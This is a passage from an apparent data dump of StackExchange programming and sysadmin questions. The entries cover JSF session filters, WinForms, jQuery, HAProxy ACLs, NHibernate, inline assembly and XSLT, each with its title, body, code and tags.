\"username\" however, the index.xhtml gets an error and gets ALWAYS redirected to
the filter( a sessions time out) that has been configured. What are the reasons for
the redirection? I made a check to see if the session was invalid, but no that was
not the case. Here is the web.xml(part) where the filter has been set.\nError:\n\
nHere the web.xml:\n\nThis is the filter code:\n\nPlease advise!\n", "
javax.faces.application.ViewExpiredException: viewId:/index.xhtml - Ansicht
/index.xhtml konnte nicht wiederhergestellt werden.\n at
com.sun.faces.lifecycle.RestoreViewPhase.execute(RestoreViewPhase.java:205)\n
at com.sun.faces.lifecycle.Phase.doPhase(Phase.java:101)\n at
com.sun.faces.lifecycle.RestoreViewPhase.doPhase(RestoreViewPhase.java:116)\n
at com.sun.faces.lifecycle.LifecycleImpl.execute(LifecycleImpl.java:118)\n
at javax.faces.webapp.FacesServlet.service(FacesServlet.java:593)\n at
org.apache.catalina.core.StandardWrapper.service(StandardWrapper.java:1550)\n
at
org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterC
hain.java:343)\n at
org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.jav
a:217)\n at
org.apache.myfaces.webapp.filter.ExtensionsFilter.doFilter(ExtensionsFilter.java:35
7)\n at
org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterC
hain.java:256)\n at
org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.jav
a:217)\n**********at
**global.SessionTimeoutFilter.doFilter(SessionTimeoutFilter.java:53)** --> in code
snippet below*\n at
org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterC
hain.java:256)\n at
org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.jav
a:217)\n at
org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:279)
\n at
org.apache.catalina.core.StandardContextValve.invoke(StandardContextValve.java:175)
\n at
org.apache.catalina.core.StandardPipeline.doInvoke(StandardPipeline.java:655)\n
at org.apache.catalina.core.StandardPipeline.invoke(StandardPipeline.java:595)\n
at org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:161)\n
at org.apache.catalina.connector.CoyoteAdapter.doService(CoyoteAdapter.java:331)\n
at org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:231)\n
at
com.sun.enterprise.v3.services.impl.ContainerMapper$AdapterCallable.call(ContainerM
apper.java:317)\n at
com.sun.enterprise.v3.services.impl.ContainerMapper.service(ContainerMapper.java:19
5)\n at
com.sun.grizzly.http.ProcessorTask.invokeAdapter(ProcessorTask.java:860)\n
at com.sun.grizzly.http.ProcessorTask.doProcess(ProcessorTask.java:757)\n at
com.sun.grizzly.http.ProcessorTask.process(ProcessorTask.java:1056)\n at
com.sun.grizzly.http.DefaultProtocolFilter.execute(DefaultProtocolFilter.java:229)\
n at
com.sun.grizzly.DefaultProtocolChain.executeProtocolFilter(DefaultProtocolChain.jav
a:137)\n at
com.sun.grizzly.DefaultProtocolChain.execute(DefaultProtocolChain.java:104)\n
at com.sun.grizzly.DefaultProtocolChain.execute(DefaultProtocolChain.java:90)\n
at com.sun.grizzly.http.HttpProtocolChain.execute(HttpProtocolChain.java:79)\n
at
com.sun.grizzly.ProtocolChainContextTask.doCall(ProtocolChainContextTask.java:54)\n
at com.sun.grizzly.SelectionKeyContextTask.call(SelectionKeyContextTask.java:59)\n
at com.sun.grizzly.ContextTask.run(ContextTask.java:71)\n at
com.sun.grizzly.util.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:532)\
n at
com.sun.grizzly.util.AbstractThreadPool$Worker.run(AbstractThreadPool.java:513)\n
at java.lang.Thread.run(Thread.java:722)\n", "web-applications glassfish java-ee-
6"], "3215890": ["Tutorial in hand-coding glade xml?", "A few years ago I had to
learn to use Windows Presentation Foundation and did so with the aid of Petzold's
excellent book. As a result, I got used to, and preferred, hand-coding the XAML
files that defined the layout and properties of the application GUI.\nNow I'm
learning to use GTK+ with Python. Again, I would prefer to hand-code the structure
and properties in XML rather than use a GUI tool to do it. Does anyone know of a
tutorial that takes this approach? Everything I've found so far either works
entirely in an executable language or uses a GUI builder application.\n", "", "xml
gtk"], "2216447": ["C# Winform Messy/blurry text in Datagrid", "I have one datagrid
on my form and it's bound with DataTable\nI use this code\n\nEverytime I click on
header or wants to change combobox the text in cells looks like overriden again and
again. Never seen it before, look (this is after the fifth click on header)\n\nThe
datagrid is readonly, nothing special is set I tried \nRefresh method\nUpdate
method\nUpdate datatable\nand many others things but I gave it up ..\nAny help will
be appreciated\nThank you\nPat\n\n", "public void SetDataSource(DataTable dt)\n
{ \n dgr.DataSource = null;\n dgr.AutoGenerateColumns =
false; \n dgr.DataSource = dt; \n }\n", "c#
winforms datagrid"],
"2408839": ["Updating the drivers for hundreds of printers at one in 2008", "I
would like to know if there is a script or program that can update a bunch of
printers at one time to a specific driver. We have about 500 printers in our
environment and we need some way to change them all to Universal drivers.
Something like the following\nPRINTERS 1-50 change to HP Universal Printer (PCL 5
5.2) . The driver is already installed on the print server\nPrinters 51-100 chang
to HP Universal Printer Driver (PS ver 5.2) That driver is already loaded and
installed on the print server etc..\nBasically I need a way to dump all the current
printer queues (or something like that) with the current print drivers (then change
to the driver I want) and then maybe import it back into the server ????\nAny ideas
especially if someone has done this before..\n", "", "windows-server-2008
printing"], "4241078": ["Load a file in a group objective-c Xcode", "I'd like to
load a file from a specific Group in Xcode/Objective-c\nfor example:\nI have TWO
files named \"SomeFile.txt\" that are in two different folders (folders not groups
yet) in the OS:\nSomeFolderOne\n|- SomeFile.txt\nSomeFolderTwo\n|- SomeFile.txt\
nInner Xcode I make two folders, and I put a REFERENCE to these two files:\
nSomeGroupOne\n|- SomeFile.txt // this file is a reference to the SomeFile.txt from
SomeFolderOne\nSomeGroupTwo\n|- SomeFile.txt // this file is a reference to the
SomeFile.txt from SomeFolderTwo\nNow I want to read the txt content with:\nNSString
*contents = [NSString stringWithContentsOfFile:@\"SomeFile.tx\"
encoding:NSUTF8StringEncoding error:nil];\nOk it reads the 'SomeFile.txt' but
sometimes the file read is from SomeGroupOne and sometimes the file is read from
SomeGroupTwo.\nHow to specify the group I want the file to be read?\n", "",
"objective-c xcode file nsstring groups"], "5095662": ["How can I view and print
PDFs in Python?", "Is there a GPL or less restrictive (preferred LGPL) library to
view & print PDFs?\nI'm using PyQt, maybe there's a possibility to render PDFs
using it?\n", "", "python pdf pyqt"], "1532316": ["Unable to store Lucene Index on
apache Tomcat", "When I try to store my index on my tomcat server I have some files
with a very small size for instance :\n_0.fdt ------ 64.0 kb \n_0.fdx -------
0.0 kb \n_0.tvd ------ 0.0 kb \n_0.tvf -------- 0.0 kb
\n_0.tvx ----- 0.0 kb \nsegments.gen ------ 0.1 kb \nsegments_1
----- 0.1 kb \nWhen I uese Luke to display the content of the index I found
that nothing is stored.\nBut when I change the store directory to my Home it works
properly .\nWhat gone wrong ? maybe apache tomcat dont allow lucene to store its
index .\nThank you in advance\n", "", "lucene index save tomcat"], "5016172":
["Windows Batch: can't exit from called subroutine- always returns even if
goto:END", "I have a subroutines which is called to check .\nThe subroutine calls
other subroutines to log msgs, send email, then Exit out of the script. It goes to
, then returns to the stmt after the call\n\n", "ERRORLEVEL", "batch-file"],
"5178015": ["Set of RadioButton controls setting a WPF DependencyProperty via
Binding", "I am tring to create a simple UserControl that contains a set of
RadioButtons and then sets a single DependencyProperty to a char value (each
RadioButton has a unique char value associated with it). I'm taking my cue from
this article http://wpftutorial.net/RadioButton.html which seemed to be an elegant
solution, but I can't get it to work. Checking one of the RadioButtons does not
change the Property. Neither of the ValueConverter's methods are ever called. There
are no compile-time errors or binding errors at run-time. What am I missing?\nHere
is my XAML:\n\nMy code behind:\n\nMy ValueConverter:\n\n", "<UserControl
x:Class=\"TestClientWpf.OrderTypePicker\"\n
xmlns=\"http://schemas.microsoft.com/winfx/2006/xaml/presentation\"\n
xmlns:x=\"http://schemas.microsoft.com/winfx/2006/xaml\"\n
xmlns:TestClientWpf=\"clr-namespace:TestClientWpf\">\n<WrapPanel>\n
<WrapPanel.Resources>\n <TestClientWpf:CharMatchToBooleanConverter
x:Key=\"converter\" />\n </WrapPanel.Resources>\n <RadioButton
IsChecked=\"{Binding Path=OrderType, Mode=TwoWay, Converter={StaticResource
converter}, ConverterParameter=1}\">Type 1</RadioButton>\n <RadioButton
IsChecked=\"{Binding Path=OrderType, Mode=TwoWay, Converter={StaticResource
converter}, ConverterParameter=2}\">Type 2</RadioButton>\n <RadioButton
IsChecked=\"{Binding Path=OrderType, Mode=TwoWay, Converter={StaticResource
converter}, ConverterParameter=3}\">Type
3</RadioButton>\n</WrapPanel>\n</UserControl>\n", "c# wpf xaml binding dependency-
properties"], "2376488": ["Jquery submit form broken", "I tried stop form
refreshing the page but it refreshes page every time i submit the form.\n\nUpdate:\
n\nStill same problem\n", "<script>\n$(\"#myforms\").submit(function() { \n\n
return false; \n});\n</script>\n\n<form action=\"\" method=\"post\"
id=\"myforms\">\n <input id=\"search123\" style=\"text-align:center\"
type=\"text\" value=\"Enter Search...\" />\n </form>\n", "javascript jquery html
forms"], "1831959": ["What is the best way to write a method that accesses a
database?", "While writing yet another class full of methods that access database
tables to work, I started wondering how I may best write these methods in the case
that the application may need to be run in a way that was the least load intensive
on the server\nFor example, if I have the method foo which queries for and displays
bars, I could write it like:\n\nI was wondering if it may be better design to write
something like\n\nIn the second method bars is passed to the method foo as an
array, this would allow for two things, a) if bars has already been queried in the
same instance, a call to the database is avoided b) foo can now be used simply by
passing an array in other instances you may want to use foo without using data from
the database\nIs this a good method of design for programs that use databases? Is
there perhaps a software pattern out there that suggests similar design to this?
Or...is this just silly? ;)\n", "function foo (params) {\n this-
>query_db(\"select bar from bars where bar != foo\");\n\n for all bars display
bar\n}\n", "software-engineering patterns"], "615124": ["Does Windows DFS always
keep some files backlogged?", "I have been monitoring our DFS backlog and I have
noticed that is hasn't really dropped below 1000 or so files. I am assuming this
means it needs to use more bandwidth. So starting last night I allowed it to use
512Kbps between 6pm and 4am, when it used to only get 128Kbps. I noticed a large
drop, but it never went below about 1500 files. I just want to be sure my
conclusion about needing to use more bandwidth is correct before I tell my boss
about it. I have included a graph of the data showing my stats from yesterday
afternoon and last night.\nDFS Backlog Graph\n", "", "windows windows-server-2003
bandwidth dfs"], "5052106": ["Javascript - Clicking Span with Class", "From I
understand this is supposed to be quite simple, yet I'm getting an error while
doing it. I have website a button with different span's within the button, the
spans change using Jquery once they're clicked apon. Using Firebug, I'm trying to
see that my click method works on the first span text, yet for some reason I'm
getting the following error. What am I doing wrong? (Note, latest Jquery is being
used on the page)\nHTML:\n\nJquery Command:\n\nFirebug Console Log:\n\n", "<button
id=\"signup_forms_submit\" class=\"chrome big on_dark signup_forms_submit touchy
blue\">\n <span class=\"account_btn\">Start</span>\n <span
class=\"birthday_btn\">Next</span>\n <span
class=\"captcha_btn\"><span><b>Almost</b> <b>Done!</b></span></span>\n <span
class=\"login_btn\">Log in</span>\n </button>\n", "javascript jquery firebug"],
"2412117": ["Python - How to make a background response timeout function", "I've
made a Farkle Jabber game bot using Python SleekXMPP library.\nIn multiplayer mode,
a user plays against a user by turns. I'm trying to make a timeout duration so that
if your opponent didn't respond in 1 minute for example, you win.\nHere's what I've
tried:\n\nThe problem with the code above is that it will freeze the whole class
until the 1 minute passes. How can I avoid that? I tried putting the funcion
outside the class, but nothing's changed.\n", "import sleekxmpp\n...\
ntime_received={}\nclass FarkleBot(sleekxmpp.ClientXMPP):\n ...\n def
timeout(self, msg, opp): \n while True:\n if
time.time() - time_received[opp] >= 60:\n print \"Timeout!\"\n
#stuff\n break\n def messages(self, msg):\n global
time_received\n time_received[user] = time.time()\n ...\n if
msg['body'].split()[0] == 'duel':\n opp=msg['body'].split()[1] #the
opponent\n ... #do stuff and send \"Let's duel!\" to the opponent.\n
checktime=threading.Thread(target=self.timeout(self, msg, opp))\n
checktime.start()\n", "python multithreading timer timeout xmpp"], "4781122":
["Cannot enable CSS3 transforms on Chromium under Ubuntu", "I read a lot about
this, i've seen a lot of examples but after following the simple instructions for
enabling 3d transforms and webgl I cannot get it to work. Everywhere says that the
trick is to execute \"\", but it doesn't seem to work! I've the latest daily build,
which is Chromium 9.0.592 under Ubuntu 10.4, any ideas?\n", "chromium-browser --
enable-accelerated-compositing --enable-webgl", "linux css3 webgl chromium"],
"5554867": ["How do I fix the perl syntax error \"missing right curly or square
bracket\" using VIM?", "Compiling (or executing)
a perl program with unmatched array braces (\"[ ]\") or scope brackets (\"{ }\")
causes the \"missing right curly or square bracket\" syntax error. Perl often
reports the source as your last code line (\"at EOF\"), which could be far removed
from the actual missing piece.\nExample perl error message:\n\nHow do vi or Vi
IMproved (VIM) users troubleshoot this error message? I've added an answer with
some VIM enhancements. Please add your own ideas, practices, or vi plugins.\nNOTE:
Original question posted with VIM version that didn't highlight perl braces and
brackets. Many newer versions do this; see vim.org for more info.\n", "Missing
right curly or square bracket at ./foo.pl line 100, at end of line\nsyntax error at
./foo.pl line 100, at EOF\nExecution of ./foo.pl aborted due to compilation
errors.\n", "perl vim syntax-error"], "4076516": ["How to change the wallpaper in
linux mint 11 log in screen", "I am having a bit of a issue finding the way of how
to change the wallpaper for Linux Mint 11 log in screen.\nDo you guys know how to
do this?\n", "", "linux linux-mint login-screen"], "3123674": ["Script Safari 5.1
to open a tab", "\nPossible Duplicate:\nOpen URL in new Safari tab with AppleScript
\n\nHow do I tell Safari to open a URL in a new tab of the current window?\nThis is
a duplicate of Open URL in new Safari tab with AppleScript, however its answer no
longer works with the current version of Safari (5.1 on 10.6.8). The tab is created
but empty:\n\nIf you make a new \"document\" instead the URL is honored, but this
opens a window.\nFor what it's worth, I reported this as a bug to Apple. But a
workaround would be great.\n", "tell front window of application \"Safari\"\nmake
new tab with properties {URL:\"http://www.stackoverflow.com\"}\nend tell\n",
"safari applescript"], "4017661": ["Windows hang instead of waking up from
standby", "My System is Windows 7 Ultimate on a Shuttle SP35P2 Pro Barebone.
Everything worked nicely, even entering standby and resuming from it.\nYesterday I
installed a new graphic adapter (XFX HD5750), removed the old drivers completely,
installed the latest XFX drivers.\nSince then resuming from standby does not work
anymore. After standby I need to switch the computer off the hard way, and
sometimes it won't even boot directly afterwards, just shows a black screen. After
some time it will boot again.\nAny ideas what causes this to happen?\n", "",
"windows-7 freeze standby"], "5178014": ["Wrong image show up in my ListView rows",
"I use this code in my getView:\n\nThe problem is when scrolling; sometimes the
correct image shows, but sometimes when scrolling back/forward, the images shows
randomly and that is not associated with the row.\nThe images are downloaded from
the web.\nHow should I solve this problem?\n", "@Override\npublic View getView(int
position, View convertView, ViewGroup parent) {\n View v = convertView;\n if
(v == null) {\n\n LayoutInflater vi = (LayoutInflater)
getSystemService(Context.LAYOUT_INFLATER_SERVICE);\n v =
vi.inflate(R.layout.listrow, null);\n }\n Order o = items.get(position);\n\n
if (o != null) {\n TextView tt = (TextView) v.findViewById(R.id.toptext);\n
ImageView thumb = (ImageView) v.findViewById(R.id.icon);\n\n if
(o.getOrderDrawable() != null) {\n
thumb.setImageDrawable(o.getOrderDrawable());\n } else {\n
tt.setText(o.getOrderTitle());\n }\n\n }\n return v;\n}\n", "android
listview"], "111198": ["regex capture anything between tags, match against anything
between escaped tags", "I have a file with duplication of escaped and non-escaped
characters:\n\nI would like to find all instances of these and change these to a
single instance of the non-escaped html character. I thought I'd search for the
left paren, then anything in the middle, then right paren, pattern match on
anything in the middle, and try and find the escaped left paren (<) then the
pattern, then the right parent (>) tag:\n\nThis doesn't return any data though, is
it correct to catch everything with the asterisk inside a paren, then try and bring
that all into the target pattern with the \\1 ?\n", "<p>&lt;p&gt;\n", "regex sed"],
"6010648": ["looking for up to date Maven dependencies/repos", "this far i've been
working on projects without using any build manager, i've used Maven just once
before and found it pretty useful, so i'd like to start implementing it on my new
projects. \nI'm starting a Web application that uses Hibernate, JPA, Struts2,
log4j, Ajax, Apache Commons Jquery and Junit but i'm failing epicly at finding the
right dependency declarations to include in my Maven pom.\nIs there some up to date
list of the repos, artifact id's, etc that i could use? \nThanks in advance!\n",
"", "maven-2 frameworks java-ee dependencies pom.xml"], "3977900": ["Query results
to list in SP", "I'm sure this is discussed somewhere, but after searching for a
while I can't find it.\nI'm building a stored procedure for SQL 2000 and I need to
build a list of numbers that I can use in an IN function.\nThe query looks like
this \n\nThis will return typically between 1-5 results, I'm looking for a way to
put that into an nvarchar or something.\nI would like to dream there is an easy way
to do this since it's in 1 column but I have a feeling I'm going to end up
iterating over the results. \nAs a side, is nvarchar the right variable to use? is
there a better way I could store these that would make IN work faster?\nThanks!\n",
"SELECT DISTINCT type FROM dbo.table WHERE building = @currentBuilding\n", "sql-
server stored-procedures sql-server-2000"], "958283": ["HAProxy seems to be load
balancing instead of following ACL rules", "I'm seeing some really odd behavior
with HAProxy. I have the following setup below designed to allow example.com/wiki
to go to one server and example.com/ go to another. The trouble is that it seems
like the /wiki only works half the time and the / webserver only works half the
time as well. Upon closer examination, it seems like it's switching between the two
backends; possibly load balancing them, instead of going to a specific backend
based on the ACL rules!\nAnother oddity is that both
services-staging.example.com/greenoven and staging.example.com both would go to
kumquat, even though the rules specifically say that only the services-staging host
should go to that backend.\nIs something wrong with my HAProxy configuration? Am I
using acls or backends incorrectly? \n\n", "global\n log 127.0.0.1 local1
debug\n maxconn 200000\n chroot /var/lib/haproxy\n user
haproxy\n group haproxy\n daemon\n #debug\n #quiet\n\
ndefaults\n log global\n mode http\n option httplog\n
option dontlognull\n retries 3\n option redispatch\n maxconn
200000\n contimeout 5000\n clitimeout 50000\n
srvtimeout 50000\n\n stats uri /monitor\n stats auth admin:GS01\
n stats refresh 5s\n stats enable\n\n\nfrontend http-in\n bind
*:80\n\n option forwardfor\n\n #Staging Hosts\n\n acl
host_staging hdr(host) -i staging.example.com\n acl host_staging_services
hdr(host) -i staging-services.example.com\n\n #Production Hosts\n\n
acl host_prod hdr(host) -i example.com www.example.com\n acl
host_prod_services hdr(host) -i services.urbanatla.com\n\n #URL Paths\n\n
acl url_wiki url_beg /wiki\n acl url_go url_beg /greenoven\n acl
url_arcgis url_beg /ArcGIS\n\n #Staging Backends\n\n use_backend
pluto if host_staging_services url_arcgis\n use_backend kumquat if
host_staging_services url_go\n use_backend kumquat if host_staging url_wiki\
n use_backend cumberland if host_staging\n\n #Production Backends\n\n
use_backend saturn if host_prod_services url_arcgis\n use_backend willow if
host_prod_services url_go\n use_backend willow if host_prod url_wiki\n
use_backend ganges if host_prod\n\n\nbackend kumquat\n server kumquat
kumquat.example.com:8080 maxconn 5000\n\nbackend cumberland\n server
cumberland cumberland.example.com:80 maxconn 5000\n\nbackend ganges\n server
ganges ganges.example.com:80 maxconn 5000\n\nbackend articdata\n server
articdata articdata.example.com:80 maxconn 5000\n\nbackend saturn\n server
saturn saturn.example.com:80 maxconn 5000\n\nbackend willow\n server willow
willow.example.com:8080 maxconn 5000\n\nbackend pluto\n server pluto
pluto.example.com:80 maxconn 5000 \n", "linux load-balancing haproxy acl"],
"5973919": ["best practice for connecting to windows azure service from corporate
environment", "Scenario:\nWe have web application and services that needs to
communicate with applications hosted in azure. Also, somehow developers should be
able to deploy the azure applications as well.\nCould someone please help me decide
or choose the best practices on which is the best way to connect the corporate
application to communicate with azure hosted applications?\n\nOpen firewall for
ranges provided by MS (http://www.microsoft.com/en-us/download/details.aspx?
id=29840 ) There are lots and security guys don't want to open all.\nConfigure
proxy on internal application such that it goes via proxy with service account
which has access for requesting 443 and 80.\n\nThank you.\n", "", "azure"],
"1532310": ["Retaining login credentials inside Mobile XPage added to Home Page",
"I have an application built using XPages' mobile controls. On an ipHone the
application behaves as I would like in the standard Safari browser. When I take the
url and add it to the Home Page as an icon and use the application from there every
time an action I take invokes a native
application (Maps, Contacts, Phone, attachment viewers etc.) when I switch back to
my application I am immediately asked for my userid and password again. Is there a
way to control the behavior to not lose the login credentials the same way that the
standard Safari application seems to.\n", "", "ios xpages xpages-extlib"],
"4006199": ["C++/CLI : How to declare template array as method parameters", "I am a
newbie to C++/CLI. What is the equivalent of the following C# code in managed
C++/CLI for both the header and source file?\n\n", "public static bool
ArrayEquals<T>(T[] a, T[] b) \n{\n return true;\n}\n", "c# c++-cli declaration
static-methods"], "1544676": ["How can i get the Text data from a Custom List View
on Mono for android", "I have ordered alphabetically hte list of customer on my
Custom List view, but i realise that i am getting the position of the list view
control but not the object. For example i have this code:\n\nSo i want to know how
can i get the object to find the specific customer that i want to show on the next
page.\n", "//Here i am delegating \n_list.ItemClick += ListView_ItemClick;
\n\n//On this one i am ordering the list of customer alphabetically\ncustomers =
customers.OrderBy(c => c.CustomerName).ToList();\n\nprivate void
ListView_ItemClick(object sender, ItemEventArgs e)\n {\n
//Toast.MakeText(this, ((TextView)(view)).Text, ToastLength.Short); \n\n\n
Customer cust = Customer.GetCustomer(e.Position + 1); \n var intent = new
Intent();\n intent.SetClass(this, typeof(CustomerDetails)); \n
intent.PutExtra(\"custNumber\", cust.CustomerNumber);\n
intent.PutExtra(\"nameCustomer\", cust.CustomerName);\n
intent.PutExtra(\"customerAdress\", cust.Adress);\n
intent.PutExtra(\"customerCreditLimit\", cust.CreditLimit);\n
intent.PutExtra(\"contactName\", cust.ContactInformation.ContactName);\n
intent.PutExtra(\"contactPhoneNumber\", cust.ContactInformation.TelephoneNumber);\n
intent.PutExtra(\"contactMail\", cust.ContactInformation.Mail);\n
intent.AddFlags(ActivityFlags.NewTask); \n StartActivity(intent); \n }\
n", "c# listview custom-controls monodroid"], "5574595": ["Help with using the
visual tree in Silverlight", "I have a question of how I can use the visual tree
helper to get an object that I need.\nI have a user controll called
DialogItemControll that I call from my main page like this: \n\nAnd then I have the
method ivSave_Click that gets called when I click the save button on my user
controll. That method looks like:\n\nThis is where you can see my attempts to use
the get parent and so on. Not so nicely done. So what I want is to get the whole
object like:\n\nMy DialogItemControll looks like this :\n\n\nC1 window is the same
as user control, its just a third party control. \nPlease help me with how I should
use the tree helper in a good way to get the whole object.\nThanks\n",
"DialogItemControll ivDialogWindow = new DialogItemControll()\n
ivDialogWindow.ivSave.Click += new RoutedEventHandler(ivSave_Click);\n
ivDialogWindow.Show();\n", "silverlight usercontrols hierarchy visual-tree"],
"3276121": ["Share via (facebook, twitter...) on Android Phonegap APP", "I'm
searching a plugin like \"ShareKit for Iphone phonegap App\"
(https://github.com/phonegap/phonegap-plugins/tree/master/iPhone/ShareKitPlugin)
that we can to choose some service from a window to post some content from an app.\
nI try the \"Share plugin\"
(https://github.com/phonegap/phonegap-plugins/tree/master/Android/Share) but I
only can send to an e-mail and not facebook and twitter..\nAnybody can help me
about this? Thanks!\nsorry for my bad english! ;)\n", "", "android html5 phonegap
share sharekit"], "4444359": ["DOM (Events) in GWT", "I have a bit of a trouble
understanding GWT's architecture. I can see two packages: and . As far as I
understand, the first gives a wrapper for the HTML DOM and the second is for own
DOM Documents. Is this correct?\nWhat I need is an own Document (i.e. not the HTML
Document) with Mutation Events. What would I use in this case? Is this possible in
GWT or do I have to write my own DOM implementation, based on ?\n",
"com.google.gwt.dom.client", "javascript dom gwt dom-events"], "1946288": ["How to
inject different NHibernate Sessions (multi-db) to same repository with Controller
controling which sesions with Ninject", "Using : \nASP.NET MVC3\nNinject 2\nFluent
nHibernate\nI have 2 databases (DB1 & DB2). I have one base repository class
(Repository) and many Controllers (Controller1, Controller2).\n\nNow when I create
MyController. I want my repository injected, but that repository should use DB1 (or
DB2, depending on the model) SessionFactory.\nI cannot figure how to properly
inject it all... When I had only a single SessionFactory (DB1), here what I had
with NINJECT :\n\nAnybody have any idea?\n\nEdit : \nThe best would be that the
right session is injected in the repository depending on the model. Since some
models are from DB1 and others from DB2, the choice should be dependent from it. It
would be great also if the controller/view developer not have to bother with
anything (like having [Named] in front of the repository) but if it's what it
takes. Even with [Named], I couldn't figure how to inject the right session in the
repository based on the [Named] repository in the controller...\n", "public
MyController(IRepository<SomeModelFromDB1> someModelFromDB1Repository,
IRepository<SomeModelFromDB2> someModelFromDB2Repository)\n{\n [...]\n}\n\
npublic class Repository<T> : IRepository<T> where T : Entity\n{\n private
readonly ISession _session;\n\n public Repository(ISessionFactory
sessionFactory)\n {\n _session = sessionFactory.OpenSession();\n }\n}\
n\npublic class DB1SessionFactory : ISessionFactory\n{\n private readonly
NHibernate.ISessionFactory _sessionFactory;\n\n private ISession _session;\n\n
public DB1SessionFactory()\n {\n [...]\n }\n}\n\npublic class
DB2SessionFactory : ISessionFactory\n{\n private readonly
NHibernate.ISessionFactory _sessionFactory;\n\n private ISession _session;\n\n
public DB2SessionFactory()\n {\n [...]\n }\n}\n", "mvc nhibernate
controller ninject"], "3909884": ["Join results of two select statements", "I have
a table serving as a transaction log:\n\nI would like a query to aggregate all of
ADDs and all of the REMOVEs separately for a given date. \nEach of these select
statements work fine, but they cannot be joined:\n\nCan I store the results of each
select statement to a table and then join those? Is there a way to avoid this all
together?\nThanks-\nJonathan\n", "Date Action Qty\n11-23 ADD 1\n11-23
REMOVE 2\n11-23 ADD 3\n", "mysql inner-join"], "286000": ["How is the concept
of \"content negotiation\" called outside the HTTP context?", "What are different
terms for \"content negotiation\" (when not talking about HTTP)?\nFor example: some
(remote or local) services, components, modules,\nare negotiating about which
protocol to use and/or which content type to exchange.\nService provider\n\nAbout
the content:\n\nWhat I am very good at, is providing apples.\nI am also able to
provide bananas, but it takes me more time.\nI am also able to provide oranges, but
their quality is not always OK.\n\nAbout the protocol:\n\nI can bring the fruits to
you in a plastic bag.\nAlternatively, I can throw it in your direction.\nIt's
faster, but some fruits may get lost.\n\n\nService consumer\n\nI need some fruits.\
nBananas are OK, but apples would be great!\nI need them now!\nSome may get lost.\
n\nNow, after using some negotiation protocol, the provider and the user decide
that the optimal solution for them would be: \"the provider throws to the consumer
some apples\".\nI hope you like my example ;)\nSo, what are better suited terms for
what I am looking for?\n", "", "computer-science theory naming protocols content-
negotiation"], "3464633": ["inline asm write value to memory", "How can I write
this in inline asm? I want to write the value of packet into the memory location of
cave in inline asm, how? I can do it with the WriteProcessMemory but I want to get
rid of that and replace with asm\n\nfor example, say I wanted to read from the
address senderOffset I would do:\n\nthis is doing
what \"ReadProcessMemory(GetCurrentProcess(), (VOID*)senderOffset, &value, 0)
would do, I'm just looking for the same kinda method to \"WriteProcessMemory\" with
inline asm.\n", "int SendToClient(BYTE *packet, int Length)\n{\n int cave =
(int)VirtualAllocEx(hProcess, NULL, Length, MEM_RESERVE | MEM_COMMIT,
PAGE_READWRITE); \n\n if (WriteProcessMemory(hProcess, (void*)cave, packet,
Length, NULL))\n {\n\n }\n\n __asm\n {\n //how?\n }\n}\n",
"c++ c assembly"], "5488611": ["XSL document() function does not get any Data", "I
am working on an XSL Stylsheet to view FOAF Files and wan't to show the names and
(if available) pictures of the people a person knows.\nSince they may change their
picture or name I would like to get this information from their Profile instead of
manually adding them to mine. As I gather, the document() function loads a xml file
and allows to get information from there but whatever syntax I use, I don not seem
to get any information.\nI have included below several ways I tried to get the name
of a contact, but none of these return any data (some return an error, as is noted
in the comments)\n\nMy theory is, that for security reasons one is not allowed to
load data from other XML-Files on the net (these files are on some server somewhere
on the net, not locally). If this is the case, is there a way to circumvent this
and signal the system that it is allowed to load this file?\nThanks in advance for
your help.\n", " <div id=\"contacts\">\n <ul>\n
<xsl:for-each select=\"rdf:RDF/foaf:Person/foaf:knows\">\n
<xsl:choose>\n <xsl:when test=\"foaf:Person/rdfs:seeAlso\">\n
<li>\n <xsl:variable name=\"url\"
select=\"foaf:Person/rdfs:seeAlso/@rdf:resource\" /> <!--works!-->\n
<xsl:value-of select=\"$url\"/> <!-- the url is correct-->\n
<xsl:copy-of select=\"document($url)\" /> <!-- XML Parsing Error: no element found
Location: http://www.someurl.com/me.rdf Line Number 1, Column 1:-->\n
<xsl:value-of
select=\"document($url)/rdf:RDF/foaf:Person/foaf:name[@value=$value]\"/> <!--no
result-->\n <xsl:value-of
select=\"document($url)/rdf:RDF/foaf:Person/foaf:name\"/> <!--no result-->\n
<xsl:value-of select=\"document(foaf:Person/rdfs:seeAlso/@rdf:resource)/rdf:RDF/
foaf:Person/foaf:name\"/><!--no result-->\n <xsl:value-of
select=\"document(foaf:Person/rdfs:seeAlso/@rdf:resource)/rdf:RDF/foaf:Person/
foaf:name[@value=$value]\"/><!--no result-->\n <a>\n
<xsl:attribute name=\"href\"> \n <xsl:value-of
select=\"foaf:Person/rdfs:seeAlso/@rdf:resource\"/></xsl:attribute><xsl:text>X</
xsl:text>\n <xsl:value-of
select=\"document($url)/rdf:RDF/foaf:Person/foaf:name\"/> <!--nor result-->\n
</a>\n <!-- A link of an X is displayed, linking to the right
foaf-profile-->\n </li>\n </xsl:when>\n
<xsl:otherwise>\n <li><xsl:value-of
select=\"foaf:Person/foaf:name\"/></li>\n </xsl:otherwise>\n
</xsl:choose>\n </xsl:for-each>\n </ul>\n </div>\n", "xml xslt
document foaf"], "5800784": ["Am I getting out-of-control with buying equipment?",
"I started getting serious about photography two years ago before heading to
Iceland for a trip. I bought a D40 and a Tokina wide-angle for landscapes for a
total cost of about $900.\nI got some decent shots. For example,\n\nOver the past
two years I've added a Sigma 70-300mm 4.6f at about $250 and a Nikon 50mm 1.8f for
about $225. Still getting some good shots including these from last month:\
nTokina:\n\nSigma:\n\nNikon:\n\nIn November, I'm taking a trip to Africa and am
considering upgrading. Right now, I'm sitting on the fence between upgrading the
